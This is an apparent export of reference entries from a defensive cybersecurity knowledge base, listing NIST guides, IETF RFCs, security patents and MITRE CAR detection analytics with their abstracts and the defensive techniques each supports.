kb-abstract: With the continuing frequency, intensity, and adverse consequences of cyber-attacks, disruptions, hazards, and other threats to federal, state, and local governments, the military, businesses, and the critical infrastructure, the need for trustworthy secure systems has never been more important to the long-term economic and national security interests of the United States. Engineering-based solutions are essential to managing the growing complexity, dynamicity, and interconnectedness of today’s systems, as exemplified by cyber-physical systems and systems-of-systems, including the Internet of Things. This publication addresses the engineering-driven perspective and actions necessary to develop more defensible and survivable systems, inclusive of the machine, physical, and human components that compose the systems and the capabilities and services delivered by those systems. It starts with and builds upon a set of well-established International Standards for systems and software engineering published by the International Organization for Standardization (ISO), the International Electrotechnical Commission (IEC), and the Institute of Electrical and Electronics Engineers (IEEE) and infuses systems security engineering methods, practices, and techniques into those systems and software engineering activities. The objective is to address security issues from a stakeholder protection needs, concerns, and requirements perspective and to use established engineering processes to ensure that such needs, concerns, and requirements are addressed with appropriate fidelity and rigor, early and in a sustainable manner throughout the life cycle of the system.
kb-author: Ron Ross, Michael McEvilley, and Janet Carrier Oren
kb-organization: NIST
kb-reference-of: OperationalRiskAssessment
kb-reference-title: NIST Special Publication 800-160 Volume 1 - Systems Security Engineering

Reference - NIST Special Publication 800-37 Revision 2 - Risk Management Framework for Information Systems and Organizations
type: GuidelineReference
type: NamedIndividual
has-link: https://doi.org/10.6028/NIST.SP.800-37r2
kb-abstract: This publication describes the Risk Management Framework (RMF) and provides guidelines for applying the RMF to information systems and organizations. The RMF provides a disciplined, structured, and flexible process for managing security and privacy risk that includes information security categorization; control selection, implementation, and assessment; system and common control authorizations; and continuous monitoring. The RMF includes activities to prepare organizations to execute the framework at appropriate risk management levels. The RMF also promotes near real-time risk management and ongoing information system and common control authorization through the implementation of continuous monitoring processes; provides senior leaders and executives with the necessary information to make efficient, cost-effective, risk management decisions about the systems supporting their missions and business functions; and incorporates security and privacy into the system development life cycle. Executing the RMF tasks links essential risk management processes at the system level to risk management processes at the organization level. In addition, it establishes responsibility and accountability for the controls implemented within an organization’s information systems and inherited by those systems.
kb-organization: NIST
kb-reference-of: OperationalRiskAssessment
kb-reference-title: NIST Special Publication 800-37 Revision 2 - Risk Management Framework for Information Systems and Organizations

Reference - NISTIR 8011 Volume 1 - Automation Support for Security Control Assessments
type: GuidelineReference
type: NamedIndividual
has-link: https://doi.org/10.6028/NIST.IR.8011-1
kb-abstract: This volume introduces concepts to support automated assessment of most of the security controls in NIST Special Publication (SP) 800-53. Referencing SP 800-53A, the controls are divided into more granular parts (determination statements) to be assessed. The parts of the control assessed by each determination statement are called control items. The control items are then grouped into the appropriate security capabilities. As suggested by SP 800-53 Revision 4, security capabilities are groups of controls that support a common purpose. For effective automated assessment, testable defect checks are defined that bridge the determination statements to the broader security capabilities to be achieved and to the SP 800-53 security control items themselves. The defect checks correspond to security sub-capabilities-called sub-capabilities because each is part of a larger capability. Capabilities and sub-capabilities are both designed with the purpose of addressing a series of attack steps. Automated assessments (in the form of defect checks) are performed using the test assessment method defined in SP 800-53A by comparing a desired and actual state (or behavior).
kb-author: Kelley Dempsey, Paul Eavy, and George Moore
kb-organization: NIST
kb-reference-of: OperationalRiskAssessment
kb-reference-title: NIST Interagency Report 8011 Volume 1 - Automation Support for Security Control Assessments

Reference - Network-Based Buffer Overflow Detection by Exploit Code Analysis - Information Security Research Centre
type: AcademicPaperReference
type: NamedIndividual
has-link: https://eprints.qut.edu.au/21172/1/21172.pdf
kb-abstract: Buffer overflow attacks continue to be a major security problem and detecting attacks of this nature is therefore crucial to network security. Signature based network based intrusion detection systems (NIDS) compare network traffic to signatures modelling suspicious or attack traffic to detect network attacks. Since detection is based on pattern matching, a signature modelling the attack must exist for the NIDS to detect it, and it is therefore only capable of detecting known attacks. This paper proposes a method to detect buffer overflow attacks by parsing the payload of network packets in search of shellcode which is the remotely executable component of a buffer overflow attack. By analysing the shellcode it is possible to determine which system calls the exploit uses, and hence the operation of the exploit. Current NIDS-based buffer overflow detection techniques mainly rely upon specific signatures for each new attack. Our approach is able to detect previously unseen buffer overflow attacks, in addition to existing ones, without the need for specific signatures for each new attack. The method has been implemented and tested for buffer overflow attacks on Linux on the Intel x86 architecture using the Snort NIDS.
kb-author: Stig Andersson, Andrew Clark, and George Mohay
kb-organization: Information Security Research Centre
kb-reference-of: ByteSequenceEmulation
kb-reference-title: Network-Based Buffer Overflow Detection by Exploit Code Analysis

Reference - Network Mapping
type: InternetArticleReference
type: NamedIndividual
has-link: https://en.wikipedia.org/wiki/Network_mapping
kb-author: https://en.wikipedia.org/
kb-reference-title: Network Mapping

Reference - Null Pointer Checking - SEI
type: GuidelineReference
type: NamedIndividual
has-link: https://wiki.sei.cmu.edu/confluence/display/c/EXP34-C.+Do+not+dereference+null+pointers
kb-organization: Software Engineering Institute
kb-reference-of: NullPointerChecking
kb-reference-title: SEI CERT C Coding Standard

Reference - Null Pointer Dereferencing - CWE-476
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://cwe.mitre.org/data/definitions/476.html
kb-organization: MITRE
kb-reference-of: NullPointerChecking
kb-reference-title: CWE-476: NULL Pointer Dereference

Reference - ONVIF Profile S
type: SpecificationReference
type: NamedIndividual
has-link: https://www.onvif.org/profiles/profile-s/
kb-abstract: Profile S specifies common interfaces for streaming video, PTZ, and related functions in IP-based video systems.
kb-author: ONVIF
kb-reference-of: VideoSurveillance
kb-reference-title: ONVIF Profile S Specification

Reference - OS Query Windows User Collection Code
type: SourceCodeReference
type: NamedIndividual
has-link: https://github.com/osquery/osquery/blob/d2be385d71f401c85872f00d479df8f499164c5a/osquery/tables/system/windows/users.cpp
kb-reference-title: OS Query Windows User Collection Code

Reference - Open source intelligence deceptions - Illusive Networks Ltd
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US10333976B1/en
kb-abstract: A system to detect attackers who attempt to breach an enterprise network and attackers who have already breached the enterprise network, including an open source intelligence (OSINT) discoverer scanning the Internet to discover data related to an enterprise that is available online, an OSINT replacer generating deceptive files by replacing placeholders within template files with deceptive information, based on the data discovered by the OSINT discoverer, an OSINT distributor planting the deceptive files generated by the OSINT replacer within designated OSINT resources, and a deception management server that alerts an administrator in response to an attacker attempting to make a connection within the network using information in a deceptive file planted by the OSINT distributor.
kb-author: Hadar Yudovich; Nimrod Lavi; Sharon Bittan; Tom Kahana; Tom Sela
kb-mitre-analysis: Seems to focus on configuration oriented files to put in decoy hostnames etc. to publish on internet sites, then monitor the decoy "objects".
kb-organization: Illusive Networks Ltd
kb-reference-of: DecoyFile
kb-reference-title: Open source intelligence deceptions

Reference - Organizational Management in SAP ERP HCM
type: Book Reference
type: NamedIndividual
has-link: https://www.sap-press.com/organizational-management-in-sap-erp-hcm_3996/
kb-author: Soham Ray
kb-organization: SAP Press
kb-reference-of: OrganizationMapping
kb-reference-title: Organization Mapping in SAP ERP HCM

Reference - CAR-2014-11-002: Outlier Parents of Cmd - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2014-11-002/
kb-abstract: Many programs create command prompts as part of their normal operation including malware used by attackers. This analytic attempts to identify suspicious programs spawning cmd.exe by looking for programs that do not normally create cmd.exe. While this analytic does not take the user into account, doing so could generate further interesting results. It is very common for some programs to spawn cmd.exe as a subprocess, for example to run batch files or windows commands. However many process don't routinely launch a command prompt - for example Microsoft Outlook. A command prompt being launched from a process that normally doesn't launch command prompts could be the result of malicious code being injected into that process, or of an attacker replacing a legitimate program with a malicious one.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessLineageAnalysis
kb-reference-title: CAR-2014-11-002: Outlier Parents of Cmd

Reference - Value of PLC Key Switch Monitoring to Keep Critical Systems More Secure
type: InternetArticleReference
type: NamedIndividual
has-link: https://www.dragos.com/blog/industry-news/value-of-plc-key-switch-monitoring/
kb-abstract: Programmable Logic Controllers (PLC) and Safety Instrumented Systems (SIS) Controllers have historically included an external switch, generally in the form of a key, to perform maintenance and troubleshooting. The key switch has become commonplace for automation engineers and technicians who maintain and support these systems and understand the importance of the little switch in overall device operation and affects the underlying process.
kb-author: DRAGOS
kb-reference-of: OperatingModeMonitoring
kb-reference-title: Value of PLC Key Switch Monitoring to Keep Critical Systems More Secure

Reference - PLX3x Series Multi-Protocol Gateways
type: UserManualReference
type: NamedIndividual
has-link: https://www.prosoft-technology.com/prosoft/download/9671/182665/file/PLX3x_UserManual
kb-abstract: This document explains the features of the PLX3x gateway. It guides you through configuration, showing how to map data between a device or network, through the gateway, to a PLC or PAC. The ProSoft Configuration Builder software creates files to import into the PLC or PAC programming software, integrating the gateway into your system. You can also map data between areas in the gateway's internal database. This allows you to copy data to different addresses within the gateway database in order to create easier data requests and control. The PLX3x gateways are stand-alone DIN-rail mounted units that provide one Ethernet port for communications, remote configuration, and diagnostics. Your specific gateway may include additional ports depending on the supported protocols. The gateway has an SD Card slot (SD card optional) that allows you to store configuration files that you can use for recovery, transferring the configuration to another gateway, or general configuration backup.
kb-organization: ProSoft Technology
kb-reference-of: OTVariableAccessRestriction
kb-reference-title: PLX3x Series Multi-Protocol Gateways

Reference - Pointer Authentication on ARMv8.3
type: SpecificationReference
type: NamedIndividual
has-link: https://www.qualcomm.com/media/documents/files/whitepaper-pointer-authentication-on-armv8-3.pdf
kb-abstract: The pointer authentication scheme introduced by ARM is a software security primitive that makes it much harder for an attacker to modify protected pointers in memory without being detected. In this document, we will provide more details about the Pointer Authentication mechanism, provide a security analysis, and discuss the implementation of certain software security countermeasures, such as stack protection and control flow integrity, using the Pointer Authentication primitives.
kb-author: Qualcomm Technologies, Inc
kb-organization: Qualcomm Technologies, Inc
kb-reference-of: PointerAuthentication
kb-reference-title: Pointer Authentication on ARMv8.3

Reference - Pointer Authentication Project Zero
type: InternetArticleReference
type: NamedIndividual
has-link: https://googleprojectzero.blogspot.com/2019/02/examining-pointer-authentication-on.html
kb-abstract: In this post I examine Apple's implementation of Pointer Authentication on the A12 SoC used in the iPhone XS, with a focus on how Apple has improved over the ARM standard. I then demonstrate a way to use an arbitrary kernel read/write primitive to forge kernel PAC signatures for the A keys, which is sufficient to execute arbitrary code in the kernel using JOP. The technique I discovered was (mostly) fixed in iOS 12.1.3. In fact, this fix first appeared in the 16D5032a beta while my research was still ongoing.
kb-author: Brandon Azad
kb-organization: Project Zero, Google, Inc
kb-reference-of: PointerAuthentication
kb-reference-title: Examining Pointer Authentication on the iPhone XS

Reference - Post sandbox methods and systems for detecting and blocking zero-day exploits via api call validation - K2 Cyber Security Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20190138715A1/
kb-abstract: In one aspect, a method useful for monitoring and validating execution of executable binary code, includes the step of disassembling an executable binary code of an application. The method includes the step of detecting and obtaining location and type of an application programming interface (API) call, system call, and privileged instruction that is executed by the executable binary code. The method includes the step of detecting and obtaining return address from an Al call and system call. The method includes the step of validating location of the API call system call, and privileged instruction. The method includes the step of validating return from the API call and system call.
kb-author: Jayant Shukla
kb-mitre-analysis: The patent describes a technique for monitoring API calls. Executable binary code of an application is first disassembled and scanned for API calls. Based on the recorded API calls, a rule list is generated. Software hooks are placed in the code for monitoring API calls during program execution and then each API call is validated using the generated rule list to permit or deny execution of API calls. Rules are created that specify the type and location of the API call. For example, data collected for an application can show an API call to libc at address 0x43e0 and an API call by libc at address 0xlfb47. Accordingly, two rules are generated. The first rule specifies the location type and target of the API call at address 0x43e0, as well as the return address. The second rule is for the API call to the kernel and states the target address, return address, instruction, and target type.
kb-organization: K2 Cyber Security Inc
kb-reference-of: SystemCallAnalysis
kb-reference-title: Post sandbox methods and systems for detecting and blocking zero-day exploits via api call validation

Reference - CAR-2014-04-003: Powershell Execution - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2014-04-003/
kb-abstract: PowerShell is a scripting environment included with Windows that is used by both attackers and administrators. Execution of PowerShell scripts in most Windows versions is opaque and not typically secured by antivirus which makes using PowerShell an easy way to circumvent security measures. This analytic detects execution of PowerShell scripts. Powershell can be used to hide monitored command line execution such as: * net use * sc start
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2014-04-003: Powershell Execution

Reference - Predicting Domain Generation Algorithms with Long Short-Term Memory Networks
type: AcademicPaperReference
type: NamedIndividual
has-link: https://arxiv.org/abs/1611.007911
kb-abstract: Various families of malware use domain generation algorithms (DGAs) to generate a large number of pseudo-random domain names to connect to a command and control (C&C) server. In order to block DGA C&C traffic, security organizations must first discover the algorithm by reverse engineering malware samples, then generating a list of domains for a given seed. The domains are then either preregistered or published in a DNS blacklist. This process is not only tedious, but can be readily circumvented by malware authors using a large number of seeds in algorithms with multivariate recurrence properties (e.g., banjori) or by using a dynamic list of seeds (e.g., bedep). Another technique to stop malware from using DGAs is to intercept DNS queries on a network and predict whether domains are DGA generated. Such a technique will alert network administrators to the presence of malware on their networks. In addition, if the predictor can also accurately predict the family of DGAs, then network administrators can also be alerted to the type of malware that is on their networks. This paper presents a DGA classifier that leverages long short-term memory (LSTM) networks to predict DGAs and their respective families without the need for a priori feature extraction. Results are significantly better than state-of-the-art techniques, providing 0.9993 area under the receiver operating characteristic curve for binary classification and a micro-averaged F1 score of 0.9906. In other terms, the LSTM technique can provide a 90% detection rate with a 1:10000 false positive (FP) rate---a twenty times FP improvement over comparable methods. Experiments in this paper are run on open datasets and code snippets are provided to reproduce the results.
kb-author: Jonathan Woodbridge, Hyrum S. Anderson, Anjum Ahuja, Daniel Grant
kb-reference-of: DNSTrafficAnalysis
kb-reference-title: Predicting Domain Generation Algorithms with Long Short-Term Memory Networks

Reference - Preventing execution of task scheduled malware - McAfee LLC
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20160105450A1
kb-abstract: A method for preventing malware attacks includes the steps of detecting an attempt on an electronic device to access a task scheduler, determining an entity associated with the attempt to access the task scheduler, determining a malware status of the entity, and, based on the malware status of the entity, allowing or denying the attempted access to the task scheduler. The task scheduler is configured to launch one or more applications at a specified time or interval.
kb-author: Anil Ramabhatta, Harinath Vishwanath Ramachetty, Nandi Dharma Kishore
kb-mitre-analysis: Access to a job scheduler is intercepted using hooking or file filters to identify and analyze the source files, processes, destination files, or destination servers associated with a scheduled job. The identified servers or files associated with a job are compared against an anti-malware signature database or reputation server to determine if it there is a match. If so, execution is denied and an alert is generated.
kb-organization: McAfee LLC
kb-reference-of: ScheduledJobAnalysis
kb-reference-title: Preventing execution of task scheduled malware

Reference - Privacy and security systems and methods of use
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US10128890B2/en
kb-author: Teddy David Thomas
kb-reference-title: Privacy and security systems and methods of use

Reference - Private application access with browser isolation
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20210250333A1
kb-reference-of: Application-basedProcessIsolation
kb-reference-title: Private application access with browser isolation

Reference - Private virtual local area network isolation - Cisco Technology Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20120331142A1
kb-abstract: In one embodiment, a method includes obtaining addresses of end hosts at a switch, the switch configured with a primary virtual local area network and a secondary virtual local area network, creating a private virtual local area network access list comprising the addresses of end hosts permitted to communicate on the secondary virtual local area network, and applying the private virtual local area network access list to interfaces connected to the end hosts permitted to communicate on the secondary virtual local area network. An apparatus is also disclosed.
kb-author: Anuraag Mittal, Huei-Ping Chen
kb-organization: Cisco Technology Inc
kb-reference-of: BroadcastDomainIsolation
kb-reference-title: Private virtual local area network isolation

Reference - CAR-2013-02-003: Processes Spawning cmd.exe - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2013-02-003/
kb-abstract: The Windows Command Prompt (cmd.exe) is a utility that provides a command line interface to Windows operating systems. It provides the ability to run additional programs and also has several built-in commands such as dir, copy, mkdir, and type, as well as batch scripts (.bat). Typically, when a user runs a command prompt, the parent process is explorer.exe or another instance of the prompt. There may be automated programs, logon scripts, or administrative tools that launch instances of the command prompt in order to run scripts or other built-in commands. Spawning the process cmd.exe from certain parents may be more indicative of malice. For example, if Adobe Reader or Outlook launches a command shell, this may suggest that a malicious document has been loaded and should be investigated. Thus, by looking for abnormal parent processes of cmd.exe, it may be possible to detect adversaries.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessLineageAnalysis
kb-reference-title: CAR-2013-02-003: Processes Spawning cmd.exe

Reference - Protected computing environment - Microsoft Technology Licensing LLC
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20060242406A1
kb-abstract: A method of establishing a protected environment within a computing device including validating a kernel component loaded into a kernel of the computing device, establishing a security state for the kernel based on the validation, creating a secure process and loading a software component into the secure process, periodically checking the security state of the kernel, and notifying the secure process when the security state of the kernel has changed.
kb-author: Sumedh Barde, Jonathan Schwartz, Reid Kuhn, Alexandre Grigorovitch, Kirt Debique, Chadd Knowlton, James Alkove, Geoffrey Dunbar, Michael Grier, Ming Ma, Chaitanya Upadhyay, Adil Sherwani, Arun Kishan
kb-organization: Microsoft Technology Licensing LLC
kb-reference-of: DriverLoadIntegrityChecking
kb-reference-title: Protected computing environment

Reference - Protecting against distributed denial of service attacks - Cisco Technology Inc.
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US7171683B2
kb-abstract: A method for authenticating packet communication traffic includes receiving a data packet sent over a network from a source address to a destination address and reading from the packet a value of a field that is indicative of a number of hops traversed by the packet since having been sent from the source address. The authenticity of the source address is assessed responsive to the value.
kb-author: Guy Pazi, Anat Bremler-Bar, Rami Rivlin, Dan Touitou
kb-organization: Cisco Technologies Inc.
kb-reference-of: InboundSessionVolumeAnalysis
kb-reference-title: Protecting against distributed denial of service attacks

Reference - Protecting against distributed network flood attacks - Juniper Networks Inc.
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US8789173B2
kb-abstract: A network security device performs a three-stage analysis of traffic to identify malicious clients. In one example, a device includes an attack detection module to, during a first stage, monitor network connections to a protected network device, during a second stage, to monitor a plurality of types of transactions for the plurality of network sessions when a parameter for the connections exceeds a connection threshold, and during a third stage, to monitor communications associated with network addresses from which transactions of the at least one of type of transactions originate when a parameter associated with the at least one type of transactions exceeds a transaction-type threshold. The device executes a programmed action with respect to at least one of the network addresses when the transactions of the at least one of the plurality of types of transactions originating from the at least one network address exceeds a client-transaction threshold.
kb-author: Krishna Narayanaswamy, Bryan Burns, Venkata Rama Raju Manthena
kb-organization: Juniper Networks Inc.
kb-reference-of: InboundSessionVolumeAnalysis
kb-reference-title: Protecting against distributed network flood attacks

Reference - Protecting web applications from untrusted endpoints using remote browser isolation
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US11477248B2/
kb-reference-of: Application-basedProcessIsolation
kb-reference-title: Protecting web applications from untrusted endpoints using remote browser isolation

Reference - Protocol based detection of suspicious network traffic
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US10084816B2/
kb-abstract: Embodiments of the present invention relate to identification of suspicious network traffic indicative of a Botnet and/or an Advanced Persistent Threat (APT) based on network protocol of such traffic. According to one embodiment, a traffic file is received at a network security device that is protecting a private network. The traffic file contains therein network traffic associated with the private network that has been captured and stored. The received traffic file is processed by the network security device to determine whether the network traffic relates to a network protocol that is indicative of existence of a network security threat within the private network. When existence of the network security threat is detected, then the network security device reports details regarding the network security threat.
kb-organization: Fortinet
kb-reference-of: ApplicationProtocolCommandAnalysis
kb-reference-title: Protocol based detection of suspicious network traffic

Reference - PsSuspend - Microsoft
type: SpecificationReference
type: NamedIndividual
has-link: https://learn.microsoft.com/en-us/sysinternals/downloads/pssuspend
kb-author: Mark Russinovich
kb-organization: Microsoft
kb-reference-of: ProcessSuspension
kb-reference-title: PsSuspend

Reference - Public Key Pinning Extension for HTTP
type: PatentReference
type: NamedIndividual
has-link: https://datatracker.ietf.org/doc/html/rfc7469
kb-abstract: RFC 7469 describes an HTTP extension that allows web host operators to instruct user agents to remember ('pin') the hosts' cryptographic identities over a period of time. This decreases the risk of MITM attacks due to compromised Certificate Authorities.
kb-author: C. Evans, C. Palmer, R. Sleevi
kb-organization: Internet Engineering Task Force (IETF)
kb-reference-of: CertificatePinning
kb-reference-title: Public Key Pinning Extension for HTTP

Reference - Qualys Network Passive Sensor Getting Started Guide
type: UserManualReference
type: NamedIndividual
has-link: https://www.qualys.com/passive-scanning-sensor/
kb-abstract: Qualys Passive Scanning Sensor (PS) continuously monitors all network traffic and flags any asset activity. It identifies and profiles devices the moment they connect to the network, including those difficult to scan, corporate owned, brought by employees, and rogue IT. The data is sent immediately to the Qualys Cloud Platform for centralized analysis.
kb-organization: Qualys
kb-reference-of: HardwareComponentInventory
kb-reference-of: NetworkNodeInventory
kb-reference-title: Qualys Network Passive Sensor Getting Started Guide

Reference - CAR-2013-04-002: Quick execution of a series of suspicious commands - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2013-04-002/
kb-abstract: Certain commands are frequently used by malicious actors and infrequently used by normal users. By looking for execution of these commands in short periods of time, we can not only see when a malicious user was on the system but also get an idea of what they were doing.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessLineageAnalysis
kb-reference-title: CAR-2013-04-002: Quick execution of a series of suspicious commands

Reference - CAR-2013-07-002: RDP Connection Detection - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2013-07-002
kb-abstract: The Remote Desktop Protocol (RDP), built in to Microsoft operating systems, allows a user to remotely log in to the desktop of another host. It allows for interactive access of the running windows, and forwards key presses, mouse clicks, etc. Network administrators, power users, and end-users may use RDP for day-to-day operations. From an adversary's perspective, RDP provides a means to laterally move to a new host. Determining which RDP connections correspond to adversary activity can be a difficult problem in highly dynamic environments, but will be useful in identifying the scope of a compromise.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: RemoteTerminalSessionDetection
kb-reference-title: CAR-2013-07-002: RDP Connection Detection

Reference - RFC 2289 - A One-Time Password System
type: SpecificationReference
type: NamedIndividual
has-link: https://tools.ietf.org/html/rfc2289
kb-organization: Internet Engineering Task Force (IETF)
kb-reference-of: One-timePassword
kb-reference-title: A One-Time Password System

Reference - An Architecture for Describing Simple Network Management Protocol (SNMP) Management Frameworks
type: SpecificationReference
type: NamedIndividual
has-link: https://https://datatracker.ietf.org/doc/html/rfc3411
kb-author: D. Harrington, R. Presuhn, B. Wijnen
kb-organization: Internet Engineering Task Force (IETF)
kb-reference-of: HardwareComponentInventory
kb-reference-title: An Architecture for Describing Simple Network Management Protocol (SNMP) Management Frameworks

Reference - RFC 7208: Sender Policy Framework (SPF) for Authorizing Use of Domains in Email - IETF
type: SpecificationReference
type: NamedIndividual
has-link: https://tools.ietf.org/html/rfc7208
kb-abstract: Email on the Internet can be forged in a number of ways. In particular, existing protocols place no restriction on what a sending host can use as the "MAIL FROM" of a message or the domain given on the SMTP HELO/EHLO commands. This document describes version 1 of the Sender Policy Framework (SPF) protocol, whereby Administrative Management Domains (ADMDs) can explicitly authorize the hosts that are allowed to use their domain names, and a receiving host can check such authorization.
kb-author: S. Kitterman
kb-organization: Internet Engineering Task Force (IETF)
kb-reference-of: TransferAgentAuthentication
kb-reference-title: RFC 7208: Sender Policy Framework (SPF) for Authorizing Use of Domains in Email

Reference - RFC 7489: Domain-based Message Authentication, Reporting, and Conformance (DMARC) - IETF
type: SpecificationReference
type: NamedIndividual
has-link: https://tools.ietf.org/html/rfc7489
kb-abstract: Domain-based Message Authentication, Reporting, and Conformance(DMARC) is a scalable mechanism by which a mail-originating organization can express domain-level policies and preferences for message validation, disposition, and reporting, that a mail-receiving organization can use to improve mail handling. Originators of Internet Mail need to be able to associate reliable and authenticated domain identifiers with messages, communicate policies about messages that use those identifiers, and report about mail using those identifiers. These abilities have several benefits: Receivers can provide feedback to Domain Owners about the use of their domains; this feedback can provide valuable insight about the management of internal operations and the presence of external domain name abuse. DMARC does not produce or encourage elevated delivery privilege of authenticated email. DMARC is a mechanism for policy distribution that enables increasingly strict handling of messages that fail authentication checks, ranging from no action, through altered delivery, up to message rejection.
kb-author: M. Kucherawy, E. Zwicky
kb-organization: Internet Engineering Task Force (IETF)
kb-reference-of: TransferAgentAuthentication
kb-reference-title: RFC 7489: Domain-based Message Authentication, Reporting, and Conformance (DMARC)

Reference - RFC 7642: System for Cross-domain Identity Management: Definitions, Overview, Concepts, and Requirements
type: SpecificationReference
type: NamedIndividual
has-link: https://datatracker.ietf.org/doc/html/rfc7642
kb-abstract: The System for Cross-domain Identity Management (SCIM) specification is designed to manage user identity in cloud-based applications and services in a standardized way to enable interoperability, security, and scalability. The specification suite seeks to build upon experience with existing schemas and deployments, placing specific emphasis on simplicity of development and integration, while applying existing authentication, authorization, and privacy models. The intent of the SCIM specification is to reduce the cost and complexity of user management operations by providing a common user schema and extension model, as well as binding documents to provide patterns for exchanging this schema using standard protocols. In essence, make it fast, cheap, and easy to move users in to, out of, and around the cloud.
kb-author: K. LI, B. Khasnabish, A. Nadalin, Z. Zeltsan
kb-organization: IETF
kb-reference-of: Access Modeling
kb-reference-title: RFC7642: System for Cross-domain Identity Management: Definitions, Overview, Concepts, and Requirements

Reference - The Token Binding Protocol Version 1.0
type: SpecificationReference
type: NamedIndividual
has-link: https://datatracker.ietf.org/doc/html/rfc8471
kb-abstract: This document specifies version 1.0 of the Token Binding protocol. The Token Binding protocol allows client/server applications to create long-lived, uniquely identifiable TLS bindings spanning multiple TLS sessions and connections. Applications are then enabled to cryptographically bind security tokens to the TLS layer, preventing token export and replay attacks. To protect privacy, the Token Binding identifiers are only conveyed over TLS and can be reset by the user at any time.
kb-author: A. Popov, M. Nystroem, Microsoft Corp., D. Balfanz, Google Inc., J Hodges, Kings Mountain Systems
kb-organization: IETF
kb-reference-of: TokenBinding
kb-reference-title: RFC8471: The Token Binding Protocol Version 1.0

Reference - RPC call interception - Crowdstrike Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20150163109
kb-abstract: A service proxy is described herein. The service proxy is configured to act as an intermediary between a client and a service. The service proxy may observe communications, modify communications, log communications, or the like, particularly so as to enhance the security and reliability of the host device. In some implementations, the service proxy may cooperate with an operating system to take over a named port object. In some implementations, the service proxy may receive messages as an intermediary between the client and the server. In some implementations, the service proxy may attach to a shared memory to intercept communications. In some implementations, the service proxy may be injected into a client process to appear to be the client itself.
kb-author: Ion-Alexandru Ionescu
kb-organization: Crowdstrike Inc
kb-reference-of: RPCTrafficAnalysis
kb-reference-title: RPC call interception

Reference - Reachability graph-based safe remediations for security of on-premise and cloud computing environments
type: PatentReference
type: NamedIndividual
has-link: https://patentimages.storage.googleapis.com/23/c1/a5/d78b3d4f275070/US11637861.pdf
kb-abstract: A method for securing a networked computer system executing an application includes identifying a vulnerable computer resource in the networked computer system, determining all computer resources in the networked computer system that are accessible from, or are accessed by, the vulnerable computer resource, and prioritizing implementation of a remediation action to secure the vulnerable computer resource if a vulnerability path extends from the vulnerable computer resource to a critical computer resource that contains sensitive information. The remediation action to secure the vulnerable computer resource is a safe remediation action that does not impact availability of the application executing on the networked computer system.
kb-author: Siddharth Sukumar Burle, Ajoy Kumar, Manish Jain
kb-reference-of: NetworkVulnerabilityAssessment
kb-reference-title: Reachability graph-based safe remediations for security of on-premise and cloud computing environments

Reference - Red Hat Enterprise Linux 8 Security Technical Implementation Guide
type: GuidelineReference
type: NamedIndividual
has-link: https://www.stigviewer.com/stig/red_hat_enterprise_linux_8/
kb-abstract: Red Hat Enterprise Linux 8 Security Guidelines
kb-reference-of: ApplicationConfigurationHardening
kb-reference-title: Red Hat Enterprise Linux 8 Security Technical Implementation Guide

Reference - Reference Nullification
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf
kb-organization: Secure Software, Inc.
kb-reference-of: Reference Nullification
kb-reference-title: The CLASP Application Security Process

Reference - CAR-2013-03-001: Reg.exe called from Command Shell - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2013-03-001/
kb-abstract: Registry modifications are often essential in establishing persistence via known Windows mechanisms. Many legitimate modifications are done graphically via regedit.exe or by using the corresponding channels, or even calling the Registry APIs directly. The built-in utility reg.exe provides a command-line interface to the registry, so that queries and modifications can be performed from a shell, such as cmd.exe. When a user is responsible for these actions, the parent of cmd.exe will likely be explorer.exe. Occasionally, power users and administrators write scripts that do this behavior as well, but likely from a different process tree. These background scripts must be learned so they can be tuned out accordingly.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessLineageAnalysis
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2013-03-001: Reg.exe called from Command Shell

Reference - Registry Key Security and Access Rights
type: UserManualReference
type: NamedIndividual
has-link: https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights
kb-abstract: The Windows security model enables you to control access to registry keys. For more information about security, see Access-Control Model.
kb-organization: Microsoft
kb-reference-of: UserSessionInitConfigAnalysis
kb-reference-title: Registry Key Security and Access Rights

Reference - CAR-2016-04-005: Remote Desktop Logon - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2016-04-005/
kb-abstract: A remote desktop logon, through RDP, may be typical of a system administrator or IT support, but only from select workstations. Monitoring remote desktop logons and comparing to known/approved originating systems can detect lateral movement of an adversary.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: RemoteTerminalSessionDetection
kb-reference-title: CAR-2016-04-005: Remote Desktop Logon

Reference - CAR-2014-11-005: Remote Registry - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2014-11-005/
